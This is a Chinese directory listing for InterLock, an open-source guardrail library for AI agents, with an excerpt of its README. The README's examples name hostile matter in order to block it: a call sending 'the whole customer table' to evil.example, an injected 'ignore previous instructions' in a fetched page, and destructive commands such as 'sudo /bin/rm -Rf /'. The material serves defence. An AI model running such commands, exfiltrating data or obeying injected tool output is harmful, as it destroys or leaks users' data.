独立运营 · 不出售排名位置  · 我们怎么评估工具 →
Anclum 提交收录
S

SourceShift/InterLock

In-process guardrails for AI agents

装之前:没有可直接复制的命令 · 许可证 NOASSERTION · 链接可访问

第一步:pip install "git+https://github.com/SourceShift/InterLock.git"

在 GitHub 查看 ↗链接已于 2026-11-12 核查 · HTTP 200 · 打开的是厂商自己的官网
官方说明In-process guardrails for AI agents. Block or rewrite tool, MCP, and model calls before they run: 100+ detectors, hierarchical policy scopes, fail-closed by default
★ 数取值
7 ★ · SourceShift/InterLock · 取自 GitHub 搜索 API · (2026-11-13 20:00:50 核对)
来源明细
从该仓库的 GitHub 页面直接读取 · 条目类型:开源项目
收录与活跃
收录于 2026-10-25 · 最近见到 2026-11-14 · 共见到 24 次 · 被 1 个来源列出
评分构成
综合分 103 · 7 ★ · 1 个来源 · repo
常见问题(答案都来自我们的记录)
它适合谁 / 用来做什么?
我们把它归在这些标签下: 开源项目。标签来自条目自身,不是我们强加的分类。
谁维护它、还在更新吗?
仓库 SourceShift/InterLock;我们收录于 2026-10-25;最近见到 2026-11-14。这里没有"官方认证"或"质量评级"——我们只记录来源与时间。

# interlock

以下摘录自该仓库的 README(片段) · 在 GitHub 读完整 README →

Stop a bad tool call before your AI agent makes it.
interlock checks every tool call your agent makes, inside the agent's own
process, and allows, blocks, or rewrites it before anything happens. No proxy,
no account, no network calls, and no dependencies.
python
import interlock
from interlock import Blocked, guard
from interlock.detectors import networkegressguard, piiredactionguard
@guard()
def httppost(url: str, body: str) -> str:
return f"posted to {url}: {body}"
interlock.install(rules=[
networkegressguard(allowedhosts=["api.acme.com"]), # only talk to hosts you trust
piiredactionguard(), # mask secrets and personal data
])
httppost("https://api.acme.com/notes", "Card on file: 4111 1111 1111 1111")
# -> "posted to https://api.acme.com/notes: Card on file: [REDACTED CREDITCARD]"
httppost("https://evil.example/collect", "the whole customer table")
# -> raises Blocked: blocked action 'httppost': egress to 'evil.example' is not on the destination allowlist
The first call went through with the card number masked. The second never ran.
### See it run
examples/quickstartdemo.py shows every verdict
in one go — allow, rewrite, block, and a check of what a tool returned:
console
$ python examples/quickstartdemo.py
allow -> posted to https://api.acme.com/notes: routine sync
rewrite -> posted to https://api.acme.com/notes: Card on file: [REDACTED CREDITCARD]
block -> Blocked: blocked action 'httppost': egress to 'evil.example' is not on the destination allowlist
check -> Blocked: blocked action 'fetchpage': toolresultinjection: ignore previous instructions
The third call never leaves the process. The fourth is a page that tried to
smuggle an instruction in through its own text — it never reaches the agent.
## Why interlock
Agents make mistakes, and some get tricked. Sooner or later one will run
rm -rf, send data to a host you've never heard of, or follow instructions it
found in a web page. Most guardrails watch what the model says. interlock
watches what it does, at the last moment you can still say no.
Four verdicts, not two. A call can be allowed, blocked, rewritten
(mask a secret, cap an amount, force a dry run), or held for a human who
approves that exact call, so safety doesn't always cost you the task.
Checks results too. Injected instructions arrive in tool output: a web
page, an email, a document. interlock checks what tools return before your
agent reads it.
Knows where data came from. Boundary provenance labels a tool's output
(tool:fetchurl) and a declarative source→sink rule can refuse "fetched
data must not reach an email field", even when the destination is otherwise
allowed.
One policy everywhere. The same rules guard decorated functions, MCP
sessions, LangChain tools, your own tool loop, Node.js agents, and coding
agents: Claude Code, Codex and Cursor, through their hooks.
122 ready-made detectors for prompt injection, SQL and shell injection,
secret and PII redaction, SSRF, egress, MCP server trust, budgets, and loops.
Shell rules judge what a command does, not its spelling: rm -fr ~,
bash -c 'rm -rf /' and sudo /bin/rm -Rf / are the same act.
Built for real deployments: per-tenant policies with safe delegation to
收录徽章(可选)
想把收录标记放进 README 就复制这行,可选,不影响收录。
[![Listed on Anclum](https://anclum.com/badge/listed.svg)](https://anclum.com/zh/s/sourceshift-interlock/)
来源
github · https://github.com/SourceShift/InterLock
按领域浏览
开源项目
Traction
7 ★
收录于
今天

同类推荐

全部 1,671 →

所属领域与标签

每个标签都能点进去看同类的全部条目。数字是当前库里的真实条数。

浏览全部领域 →

← 返回索引